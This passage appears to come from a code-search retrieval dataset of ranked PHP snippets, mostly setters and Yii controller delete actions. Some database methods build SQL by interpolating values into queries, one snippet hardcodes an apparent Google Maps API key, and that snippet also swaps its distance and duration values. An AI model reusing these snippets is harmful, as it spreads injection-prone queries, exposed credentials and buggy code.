"adb494d0034b82a5e1544cf7353bfe24", "score": "0.39305857", "text": "public function setUnderShip() {\n $this->underShip = true;\n }", "title": "" }, { "docid": "8666582e26162d5199259e7841ef5883", "score": "0.39198607", "text": "public static function prevents_win_determination() {\n return TRUE;\n }", "title": "" }, { "docid": "e43ee4f1ef0975aa6ef7ec9279b98627", "score": "0.39189163", "text": "public function hasHeartrateData() {\r\n\t\treturn !empty($this->arrayForHeartrate) && (max($this->arrayForHeartrate) > 0.5*HF_MAX);\r\n\t}", "title": "" }, { "docid": "1db196886dcc60a6436d8b8703b5256a", "score": "0.3918395", "text": "public function modifyHighway(){\n\t\t$query = \"UPDATE highway\n\t\t\t\t SET\n\t\t\t\t\tname = '{$this->name}',\n\t\t\t\t\ttype = {$this->type},\n\t\t\t\t\tstart_station = {$this->start_station},\n\t\t\t\t\tend_station = {$this->end_station}\t\t\n\t \t\t\t WHERE id = {$this->id}\";\n\t\t$this->db->query($query);\n\t\treturn true;\n\t }", "title": "" }, { "docid": "aa69c865e8c3949b2822a3ffb7b4be3c", "score": "0.3916818", "text": "function mace_hotlink_allow_direct_requests() {\n\treturn 'standard' === get_option( 'mace_hotlink_allow_direct_requests', 'standard' );\n}", "title": "" }, { "docid": "d9209dc9c50538e6dbbc06ec906a3f42", "score": "0.38984516", "text": "public function withAnyDistance(): Clause;", "title": "" }, { "docid": "d553fe97cfc4f6833940859e09196f90", "score": "0.38955933", "text": "public function setEdgeBlockSendingDoNotTrackHeader($val)\n {\n $this->_propDict[\"edgeBlockSendingDoNotTrackHeader\"] = boolval($val);\n return $this;\n }", "title": "" }, { "docid": "6472e86091ed95f29e8d2b3a9ec3a421", "score": "0.38687512", "text": "function setXDistance($distance) {\n $this->_x_distance = $distance;\n }", "title": "" }, { "docid": "f8d5a119823a398cb39bbdd99903834a", "score": "0.38671184", "text": "public function deleteHighway(){\n\t\t$query = \"delete from highway\n\t \t\t\t where id = {$this->id}\";\n\t\t$this->db->query($query);\n\t\treturn true;\n\t }", "title": "" }, { "docid": "1cc792d0c174ea4cb2aa7370c00245b2", "score": "0.38640898", "text": "public function setDirections(array $directions)\n {\n $this->directions = $directions;\n return $this;\n }", "title": "" }, { "docid": "7af8d3802be415103693d117fd29620b", "score": "0.38635358", "text": "private function setWhereClause($boolean = TRUE)\r\n {\r\n // that mean WHERE clause have been initialize before\r\n if($this->isWhereDefine !== $boolean)\r\n $this->isWhereDefine = $boolean;\r\n }", "title": "" }, { "docid": "6e5dd9373e7e16be9b19342eee1fccf7", "score": "0.38562346", "text": "public function setPossiblySensitive(bool $possiblySensitive) : self\n {\n $this->initialized['possiblySensitive'] = true;\n $this->possiblySensitive = $possiblySensitive;\n return $this;\n }", "title": "" }, { "docid": "edac90df2397a008534fcae481d345f8", "score": "0.38418826", "text": "public function withADistanceOfAtLeast(int $distance): Clause;", "title": "" }, { "docid": "f3053f19c3b82ef2fa458c03216fd8d2", "score": "0.38375255", "text": "public function addNeighbor(){\n\t\t$query = \"INSERT INTO neighbor(\n\t\t\t\t\t\t\tstation_id,\n\t\t\t\t\t\t\tneighbor_id,\n\t\t\t\t\t\t\tdistance,\n\t\t\t\t\t\t\ttravel_time_average,\n\t\t\t\t\t\t\tlast_travel_id\n\t\t\t\t\t\t) \n\t\t\t\t\t\tVALUES (\n\t\t\t\t\t\t\t'{$this->station_id}',\n\t\t\t\t\t\t\t'{$this->neighbor_id}',\n\t\t\t\t\t\t\t'{$this->distance}',\n\t\t\t\t\t\t\t'0',\n\t\t\t\t\t\t\t'0'\n\t\t\t\t\t\t);\n\t\t\t\t\t\";\n\t\t$this->db->query($query);\n\t\treturn true;\n\t }", "title": "" }, { "docid": "9aede209243364608f43b265f05d14fa", "score": "0.38331708", "text": "public function addNeighbor(){\n\t\t$query = \"INSERT INTO neighbor(\n\t\t\t\t\t\t\tstation_id,\n\t\t\t\t\t\t\tneighbor_id,\n\t\t\t\t\t\t\tdistance\n\t\t\t\t\t\t) \n\t\t\t\t\t\tVALUES (\n\t\t\t\t\t\t\t'{$this->station_id}',\n\t\t\t\t\t\t\t'{$this->neighbor_id}',\n\t\t\t\t\t\t\t'{$this->distance}'\n\t\t\t\t\t\t);\n\t\t\t\t\t\";\n\t\t$this->db->query($query);\n\t\treturn true;\n\t }", "title": "" }, { "docid": "b798a3690932fce2dfe9bdc36bef8393", "score": "0.38293707", "text": "public function isDiagonal()\n {\n $int_size = min((array) $this->size);\n\n if($int_size > 0){\n for($i = 0; $i < $int_size; $i++){\n $arr_row = $this->getRow($i);\n\n if($arr_row[$i] != 0){\n unset($arr_row[$i]);\n\n foreach($arr_row as $v){\n if($v != 0){\n return false;\n }\n }\n\n } else {\n return false;\n }\n }\n\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "7f8486d201f8920b63793c61c812de37", "score": "0.38191262", "text": "private function setNotConnected($cell,$x,$y)\n\t{\n\t\t//$this->arrNotConnectingCells[$x][$y] = $cell;\n\t\t//$this->arrNotConnectingCells[$x][$y]->setConnected(false);\n\t\t//unset($this->arrToBeUpdatedCells[$x][$y]);\n\t}", "title": "" }, { "docid": "28ab10b41be1df90510e9dde0698bf35", "score": "0.38185635", "text": "public final function setNoDataTable ()\n {\n\n $this->hasDataTable = false;\n\n }", "title": "" }, { "docid": "129f9a77d2fa21eac619c67de89543b2", "score": "0.38147143", "text": "public function setOneWay(bool $oneWay)\n {\n $this->oneWay = $oneWay;\n }", "title": "" }, { "docid": "f886b6318b33cfa19799a6b95541866f", "score": "0.38142762", "text": "public function isTablet() {\n return ($this->object->type === 'tablet') ? TRUE : FALSE;\n }", "title": "" }, { "docid": "827612a8a5834c8d53e7c53752682443", "score": "0.38019964", "text": "public function isDual() {\n return ($this->getShortOpt() && $this->getLongOpt());\n }", "title": "" }, { "docid": "5ee4aaded845a42d44ce0af950083a65", "score": "0.37994328", "text": "public function set_network_brute_force() {\n\t\t$this->network_brute_force = true;\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "f476465394b4afe77bcdc666e4dcc168", "score": "0.37982398", "text": "public function Outlier($id){\n\t\t$threshold = floatval(@$this->urlvalues[CachedSettings::OUTLIERCONTROLLDISTANCE]);\n\t\t$this->settings = new CachedSettings();\n\t\t\n\t\tif($threshold <= 0)\n\t\t\t$threshold = 1000;\n\n\t\t$this->settings->setSetting(CachedSettings::OUTLIERCONTROLLDISTANCE, $threshold);\n\t\t\n\t\treturn $this->RedirectTo(\"./\");\n\t}", "title": "" }, { "docid": "b66facd08eaf47fbb088361cd65e2545", "score": "0.37923872", "text": "public function setOptimized($bool) {\n if($bool)\n $val = 1;\n else\n $val = 0;\n foreach($this->getSections() as $sec) {\n $sec->setIsOptimized($val);\n }\n }", "title": "" }, { "docid": "35601ca2dfe089fa73447b4b2c9d7371", "score": "0.3787407", "text": "public function setExcludeMediaQueries($on = true)\n {\n $this->excludeMediaQueries = (bool) $on;\n }", "title": "" }, { "docid": "6f55274b8783564bacb748e547db4ee1", "score": "0.37796026", "text": "public function disableOptimiser() {\n\n\t\t$this->optimiser = false;\n\t}", "title": "" }, { "docid": "3f6db6ea64847c99a14cc7ac93b27c2d", "score": "0.37719893", "text": "public function getWindingRule()\n {\n return self::WIND_NON_ZERO;\n }", "title": "" }, { "docid": "d6e8a076d34cb384deb2d323e81e053e", "score": "0.37608728", "text": "public function beforeLoadDataTable()\n {\n $this->requestConfig->request_parameters_to_modify['flat'] = 1;\n }", "title": "" }, { "docid": "42c24ac45c21e670877f321948e44e52", "score": "0.37561727", "text": "public function set_distances($stops) {\r\n foreach ($stops as $stop) {\r\n if ($stop->id !== $this->id) {\r\n $distance = $this->dao->get_distances($this->id, $stop->id);\r\n if ($distance) {\r\n $this->meters[$distance['stop_to']] = $distance['meters'];\r\n $this->seconds[$distance['stop_to']] = $distance['seconds'];\r\n } else {\r\n $url = \"https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=\"\r\n . urlencode($this->full_address)\r\n . \"&destinations=\"\r\n . urlencode($stop->full_address)\r\n . \"&key=AIzaSyDUi5F0omWCqjn7NnA1qrY9lTpVTyC3GO8\";\r\n $response = json_decode(file_get_contents($url))->rows[0]->elements[0];\r\n $distance = $response->distance->value;\r\n $duration = $response->duration->value;\r\n $this->dao->save_distances($this->id, $stop->id, $duration, $distance);\r\n $this->meters[$stop->id] = $duration;\r\n $this->seconds[$stop->id] = $distance;\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "07676bbbb3f34a48adf6491266d5066f", "score": "0.3749922", "text": "public function isThoracicSurgeon()\n {\n return $this->thoracicSurgeon;\n }", "title": "" }, { "docid": "7562e2f1c7f42df915c9c3a4b88c4216", "score": "0.37464023", "text": "public function setBrowserBlockSendingDoNotTrackHeader($val)\n {\n $this->_propDict[\"browserBlockSendingDoNotTrackHeader\"] = boolval($val);\n return $this;\n }", "title": "" }, { "docid": "0ee8bcf3a97b19c34249b426efd8a8b1", "score": "0.37437084", "text": "function setOptional()\n {\n $alias = $this->getAlias();\n $this->search($alias.'_line_1')->setOptional();\n $this->search($alias.'_city')->setOptional();\n\t\t$ctry = $this->search($alias.'_country');\n\t\tif ($ctry) $ctry->setOptional();\n return $this;\n }", "title": "" }, { "docid": "1cfce8a614ec4f87fd980cbf8971a6aa", "score": "0.3734501", "text": "function setAggressiveLinkExtraction ($mode)\r\n {\r\n $this->initCrawler();\r\n if (is_bool($mode))\r\n {\r\n $this->pageRequest->aggressive_link_extraction = $mode;\r\n return true;\r\n }\r\n else return false;\r\n }", "title": "" }, { "docid": "9b4b6580326d66db437d2fbe1460e1e5", "score": "0.37277016", "text": "private function cutOffHand(): void\n {\n $this->hasRightHand = false;\n }", "title": "" }, { "docid": "26828f1e66bd228843b5d9a7e327e307", "score": "0.3724661", "text": "public function far(string $distance = 'Infinity'): RaycasterCMPTIF\n {\n $this->dom_attributes['far'] = $distance;\n return $this;\n }", "title": "" }, { "docid": "4e3e74b1690f0fd848ca99a26691310f", "score": "0.37229565", "text": "private function _setSight($val) {\n\t\t$this->sight = $val;\n\t}", "title": "" }, { "docid": "e1396701cf61906017a01ea81f9af0b4", "score": "0.3721971", "text": "public function withADistanceOf(int $distance): Clause;", "title": "" }, { "docid": "90963ad1e80fe786878cbfe2f34a51e6", "score": "0.37169304", "text": "public function setUnauthorizedRequest()\n {\n $this->_auth = false;\n return $this;\n }", "title": "" }, { "docid": "5fd87bacb834fb5119b53e06de104539", "score": "0.37163934", "text": "public function set_stupidly_fast($set = false)\n\t{\n\t\tif ($set)\n\t\t{\n\t\t\t$this->enable_order_by_date(false);\n\t\t\t$this->remove_div(false);\n\t\t\t$this->strip_comments(false);\n\t\t\t$this->strip_htmltags(false);\n\t\t\t$this->strip_attributes(false);\n\t\t\t$this->set_image_handler(false);\n\t\t}\n\t}", "title": "" }, { "docid": "0c7c4c1f6abcc7f37729d1eb44de4693", "score": "0.371635", "text": "public static function invalidDistanceMatrixRequestOrigin()\n {\n return new static(sprintf(\n '%s'.PHP_EOL.'%s'.PHP_EOL.'%s'.PHP_EOL.'%s'.PHP_EOL.'%s',\n 'The origin adder arguments are invalid.',\n 'The available prototypes are :',\n ' - function addOrigin(string $origin)',\n ' - function addOrigin(Fungio\\GoogleMap\\Base\\Coordinate $origin)',\n ' - function addOrigin(double $latitude, double $longitude, boolean $noWrap)'\n ));\n }", "title": "" }, { "docid": "22b51db17a070067d2fecf3dce13ec19", "score": "0.37153456", "text": "public function setSiteWide()\n {\n $this->siteWide = true;\n }", "title": "" }, { "docid": "35cb37de29dcc2cf3797edb2c90e9567", "score": "0.3714375", "text": "public function testLargeDistance()\n {\n $table = $this->getValidTable();\n $options = [\n 'latitude' => 90,\n 'longitude' => 0,\n 'radius' => round((pi() * (2 * 6371)) / 2, 3),\n 'units' => 'km'\n ];\n $query = $table\n ->find('bydistance', $options)\n ->select(['name', 'lat', 'lng']);\n $result = $query->toArray();\n $this->assertEquals(10, count($result));\n foreach ($result as $row) {\n if ($row['name'] == 'south pole') {\n $this->assertEquals(round((pi() * (2 * 6371)) / 2, 3), $row['distance']);\n }\n }\n }", "title": "" } ]
be1a711753d7eadf5caab18dfdac88dd
Deletes an existing InvoiceSpec model. If deletion is successful, the browser will be redirected to the 'index' page.
[ { "docid": "633aee10547e9ded29a6ddc87016232d", "score": "0.0", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" } ]
[ { "docid": "afcefd4c652ae030f0bacc991d23de64", "score": "0.67002374", "text": "public function actionDelete()\n {\n $id = Html::encode($_POST[\"id\"]);\n\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "a2d1d353651b02dbf4dcddd7bb588987", "score": "0.6670007", "text": "public function actionDelete($id)\n {\n\t\tInvoiceItem::deleteAll(['invoice_id' => $id]);\n\t\t\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "e7b55cf004cab59c867c3098d2a51280", "score": "0.6420145", "text": "public function actionDelete()\n {\n $purifier = new HtmlPurifier;\n $param = $purifier->process( Yii::$app->request->get('id') );\n $this->findModel($param)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "96a248ac9b8528ec3dcd2adc01f5d8a9", "score": "0.6352152", "text": "private function delete()\n\t{\n\t\t$id = $this->validateNumber($_GET['id']);\n\t\t$result = $this->model->delete($id);\t\n\t\t//Insert Succesfull\n\t\tif($result)\n\t\t{\n\t\t\t//Load view\n\t\t\theader(\"Location: index.php?controller=vehicle&deleted=true\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//Ohh well... :(\n\t\t\trequire('views/Error.html');\n\t\t}\t\n\t}", "title": "" }, { "docid": "50bc1bbe05ba4ff90517f1624775ea14", "score": "0.63509136", "text": "public function vehicle_model_delete() {\n\t\tCheckAdminLoginSession();\n\t\t$id = $this->uri->segment(4);\n\t\t$this->admin_model->dataDelete($this->vehicle_model,$id);\n\t\t$this->session->set_flashdata('message','Your Vehicle Model has been deleted successfully');\n redirect('admin/vehicle/vehicle-model','refresh');\n\t}", "title": "" }, { "docid": "ea050473ff181b2bd8065da3bcd26653", "score": "0.6323498", "text": "public function actionDelete() {\n $this->loadModel($id)->delete();\n\n // if AJAX request (triggered by deletion via admin grid view), we should not redirect the browser\n if (!isset($_GET['ajax']))\n $this->redirect(isset($_POST['returnUrl']) ? $_POST['returnUrl'] : array('admin'));\n }", "title": "" }, { "docid": "925518e971870f971b04ca4a58727453", "score": "0.6318772", "text": "public function delete() {\n $id = $this->uri->segment(4);\n\n //delete sale\n $this->general_model->delete(TBL_companies, 'show_id', $id);\n redirect($this->config->item('admin_path') . 'companies/', 'location');\n }", "title": "" }, { "docid": "f3200ec18a8a65636cddaf5bf68d183a", "score": "0.6251053", "text": "public function vehicle_make_delete() {\n\t\tCheckAdminLoginSession();\n\t\t$id = $this->uri->segment(4);\n\t\t$this->admin_model->dataDelete($this->vehicle_make,$id);\n\t\t$this->session->set_flashdata('message','Your Vehicle Make has been deleted successfully');\n redirect('admin/vehicle/vehicle-make','refresh');\n\t}", "title": "" }, { "docid": "97ae3bb39181534fc9c17dbe26f6462c", "score": "0.6216288", "text": "function delete_invoice($invoice_id = 0)\n\t{\n\t\t//$this->invoice_model->delete_invoice($invoice_id);\n\t\t//$this->session->set_flashdata('success', 'The invoice has been deleted successfully !!');\n\t\t//redirect('invoices');\n\t}", "title": "" }, { "docid": "60a661335b26ac94956a8928b2c20fde", "score": "0.6209273", "text": "public function actionDelete($id){\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "0d061d097cf5de4c5edd7e3984282fe6", "score": "0.61751187", "text": "public function actionDelete($id) {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "4cc0c5af7e2030339f9ea409672fc17f", "score": "0.61717594", "text": "public function delete() {\n\n $id = $this->request->getParameter(\"actionid\");\n $this->model->delete($id);\n\n // generate view\n $this->redirect(\"psentryreason\");\n }", "title": "" }, { "docid": "20e2bc9d87565176ce3405dfd8fe78f1", "score": "0.61705023", "text": "public function deleteAction() {\n\n // get id from Get\n $id = $this->route_params[\"id\"];\n // validate id is int\n if (filter_var($id, FILTER_VALIDATE_INT) === false) {\n $this->show404();\n return;\n }\n\n $contact_obj = new Contact();\n// get the contact from DB\n $contact = $contact_obj->findById($id);\n\n if ($contact == false) {\n // redirect to show all contacts if contacts not found\n $this->show404();\n return;\n } else {\n $contact_obj->deleteById($id);\n\n $_SESSION[\"success_message\"] = \"Contact deleted successfully\";\n // redirect to show all contacts\n header(\"Location: /contacts\");\n }\n }", "title": "" }, { "docid": "e0e81ad2d50178e25fa0345a3a2c81ba", "score": "0.6164483", "text": "public function deleteAction()\n {\n if ( $this->getRequest()->getParam('id') > 0) {\n try {\n $instructordoc = Mage::getModel('bs_material/instructordoc');\n $instructordoc->setId($this->getRequest()->getParam('id'))->delete();\n Mage::getSingleton('adminhtml/session')->addSuccess(\n Mage::helper('bs_material')->__('Instructor Document was successfully deleted.')\n );\n $this->_redirect('*/*/');\n return;\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_material')->__('There was an error deleting instructor doc.')\n );\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n Mage::logException($e);\n return;\n }\n }\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_material')->__('Could not find instructor doc to delete.')\n );\n $this->_redirect('*/*/');\n }", "title": "" }, { "docid": "baa5487bc969116c9bb49608c1ca5de5", "score": "0.61385936", "text": "public function actionDelete($id){\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "f5e6b303dde65e7b3df7dbdbfc23d428", "score": "0.61059994", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "3d50d32701b615074d76b9d84692a84e", "score": "0.6104881", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "0116d0ecb5d3617350e2648a9c77af01", "score": "0.61031663", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "95eb8d47feefde690b75e6cad0675ac3", "score": "0.6100029", "text": "public function destroy($id)\n {\n /*$inv = Invoice::findorFail($id);\n $inv->delete();\n return redirect('invoices')->with('success','Information has been deleted');\n */\n }", "title": "" }, { "docid": "f6b5bbf523669d8c86fe2a553a13622d", "score": "0.60952216", "text": "public function actionDelete($id)\n {\n //$this->findModel($id)->delete();\n $model = $this->findModel($id);\n $model->deleted = 1;\n $model->save();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "f6b5bbf523669d8c86fe2a553a13622d", "score": "0.60952216", "text": "public function actionDelete($id)\n {\n //$this->findModel($id)->delete();\n $model = $this->findModel($id);\n $model->deleted = 1;\n $model->save();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "00ff1d90be259c5e3d0ab2cf460cbcc8", "score": "0.6093166", "text": "public function deleteAction()\n {\n if ( $this->getRequest()->getParam('id') > 0) {\n try {\n $administrativedocument = Mage::getModel('bs_administrativedoc/administrativedocument');\n $administrativedocument->setId($this->getRequest()->getParam('id'))->delete();\n Mage::getSingleton('adminhtml/session')->addSuccess(\n Mage::helper('bs_administrativedoc')->__('Administrative Document was successfully deleted.')\n );\n $this->_redirect('*/*/');\n return;\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_administrativedoc')->__('There was an error deleting administrative document.')\n );\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n Mage::logException($e);\n return;\n }\n }\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_administrativedoc')->__('Could not find administrative document to delete.')\n );\n $this->_redirect('*/*/');\n }", "title": "" }, { "docid": "206d802bbf08274a12f2a3fab121008f", "score": "0.609047", "text": "public function actionDelete() {\n $id = $_POST['idDeleteProceso'];\n\n $this->loadModel($id)->delete();\n// if AJAX request (triggered by deletion via admin grid view), we should not redirect the browser\n $this->redirect(array('default/index'));\n }", "title": "" }, { "docid": "a06abe24078d1acfb74e68d6687b19da", "score": "0.60879993", "text": "public function actionDelete($id)\n {\n //$this->findModel($id)->delete();\n $model = $this->findModel($id);\n $model->deleted = 1;\n $model->save();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "ee432c8cf936ec897e46096426a9c0e9", "score": "0.60783726", "text": "public function actionDelete($id) {\n\t\t$this->findModel($id)->delete();\n\t\treturn $this->redirect(['index']);\n\t}", "title": "" }, { "docid": "02ca747b0eda6c226e6865fe5c195725", "score": "0.6072245", "text": "public function actionDelete()\n\t{\n\t\tif (Yii::app()->request->isPostRequest)\n\t\t{\n\t\t\t$model = Questions::model()->findAllByPk($_REQUEST['id']);\n\n\t\t\tif (!empty($model))\n\t\t\t{\n\t\t\t\tforeach($model as $page)\n\t\t\t\t\t$page->delete();\n\t\t\t}\n\n\t\t\tif (!Yii::app()->request->isAjaxRequest)\n\t\t\t\t$this->redirect('index');\n\t\t}\n\t}", "title": "" }, { "docid": "fce417c08dca0f504994dc9e2b4baf0e", "score": "0.60691947", "text": "public function destroy(Specification $specification)\n {\n //\n\t\t$spec = Specification::find($id);\n\t\t$spec->delete();\n\t\treturn redirect('spec')->with('status', ' deleted successfully');\n }", "title": "" }, { "docid": "3ee91df933134bd19ae85dc00c6c76df", "score": "0.6062621", "text": "public function actionDelete($id) {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "496cda9ef54f1f4464c44b40d3fe4b23", "score": "0.60452944", "text": "public function destroy($id)\n {\n $invoice = Invoice::findOrFail($id);\n $invoice->delete($id);\n\n\n return redirect('/admin/make_invoices');\n }", "title": "" }, { "docid": "1d038563a40ee7ed02dc0884dd8d37d9", "score": "0.6039347", "text": "public function actionDelete($id)\n {\n /*$this->findModel($id)->delete();\n\n return $this->redirect(['index']);*/\n return $this->redirect(['view', 'id' => $id]);\n \n }", "title": "" }, { "docid": "388c5adb596024e12d8924bc77a7fe99", "score": "0.6033337", "text": "public function deleteAction()\n {\n /** XXX **/\n\n $this->view->message = sprintf('Resource #%s Deleted', $id);\n $this->_response->ok();\n }", "title": "" }, { "docid": "388c5adb596024e12d8924bc77a7fe99", "score": "0.6033337", "text": "public function deleteAction()\n {\n /** XXX **/\n\n $this->view->message = sprintf('Resource #%s Deleted', $id);\n $this->_response->ok();\n }", "title": "" }, { "docid": "2e22b1e6622d436ee794ce438ccd3df0", "score": "0.6025549", "text": "public function delete()\n {\n $id = $_GET['id'];\n $data = $this->survey->get_survey($id);\n if (!empty($data[0])) {\n\n $data = $this->survey->delete($id);\n }\n redirect('survey');\n }", "title": "" }, { "docid": "2a5298f4ccaaff3605142349eb912c92", "score": "0.60225505", "text": "public function actionDelete($id)\n {\n //$this->findModel($id)->delete();\n $model = $this->findModel($id);\n $model->deleted_at = date(\"Y-m-d H:i:s\");\n $model->save();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "39eded6dfdeccda18ac5c3fc5e1960f9", "score": "0.6021905", "text": "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\t\treturn $this->redirect(['index']);\n\t}", "title": "" }, { "docid": "39eded6dfdeccda18ac5c3fc5e1960f9", "score": "0.6021905", "text": "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\t\treturn $this->redirect(['index']);\n\t}", "title": "" }, { "docid": "37f2cc9961ec2fcad7763e57f5a67d43", "score": "0.6014465", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "37f2cc9961ec2fcad7763e57f5a67d43", "score": "0.6014465", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "8ec87416b9e23b20e4f20cb4a1fd687d", "score": "0.6006003", "text": "public function actionDelete($id)\n {\n \tOrderDetail::deleteAll(['master_id' => $id]);\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "e745b934d15e9a9671dcab6e53190148", "score": "0.60038936", "text": "public\n function actionDelete()\n {\n return $this->findModel(Yii::$app->request->post('id'))->delete();\n }", "title": "" }, { "docid": "bbe4ce61daa96404576ec0ad22f1ee11", "score": "0.5999019", "text": "public function actionDelete($id) {\n $model = $this->findModel($id);\n $model->status = Identity::STATUS_DELETED;\n $model->save();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "72575e07056a8637ace0bf32e3281e85", "score": "0.5995777", "text": "public function actionDelete($id)\n {\n // $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "97cb7e97caaa39f1bb5a2a639dfc67d6", "score": "0.5987036", "text": "public function actionDelete($id) {\n\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bd6c0bd70acba2ea46d39e260018b536", "score": "0.5976224", "text": "public function actionDelete($id) {\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0d3544ac5c9f6ee380d44a225881c74b", "score": "0.5975467", "text": "public function actionDelete($id)\r\n {\r\n $this->findModel($id)->delete();\r\n\r\n return $this->redirect(['index']);\r\n }", "title": "" }, { "docid": "0c0140f9ba34ed2c397913fc352008fa", "score": "0.59691286", "text": "public function deleteAction()\n {\n $request = $this->getRequest();\n $idProperty = $request->getParam('idProperty');\n $idPhoto = $request->getParam('idPhoto');\n $digestKey = $request->getParam('digestKey');\n\n if (!$this->_helper->digestKey->isValid($digestKey, array($idProperty, $idPhoto))) {\n $this->_helper->redirector->gotoSimple(\n 'digest-key-fail',\n 'account',\n 'controlpanel'\n );\n }\n\n $photoModel = new Common_Model_Photo();\n $photoModel->deletePhotoByPhotoId($idProperty, $idPhoto);\n\n $this->_helper->redirector->gotoSimple(\n 'step3-pictures',\n 'property',\n 'controlpanel',\n array(\n 'idProperty' => $idProperty,\n 'digestKey' => Vfr_DigestKey::generate(array($idProperty))\n )\n );\n }", "title": "" }, { "docid": "66ae10e287d38a8e7991fce9a9675fe7", "score": "0.5967349", "text": "public function actionDelete($id)\n {\n //$this->findModel($id)->delete();\n //return $this->redirect(['index']);\n \n $model = $this->findModel($id);\n \n if($model->delete()){\n \techo 1;\n }else{\n \techo \"ลบข้อมูลไม่สำเร็จ.\";\n }\n }", "title": "" }, { "docid": "e7e7566d47b92cd51c3012fca2040615", "score": "0.5959999", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "846fe1b56056f07c6f5702b3c1c060fe", "score": "0.5955555", "text": "public function delete()\n {\n\n $id = $this->request->getRequestGet('id');\n $result = $this->product->delete($id);\n header(\"Location:index.php?controllers=Product&&action=listProduct\");\n }", "title": "" }, { "docid": "3ceebcaad2bc33f0ceaaa1933eaa3e00", "score": "0.5946855", "text": "public function actionDelete()\n {\n $id = Yii::$app->request->post(\"id\");\n if($this->findModel($id)->delete()){\n return json_encode(['code' => 200]);\n }else{\n return json_encode(['code' => 20]);\n }\n\n// return 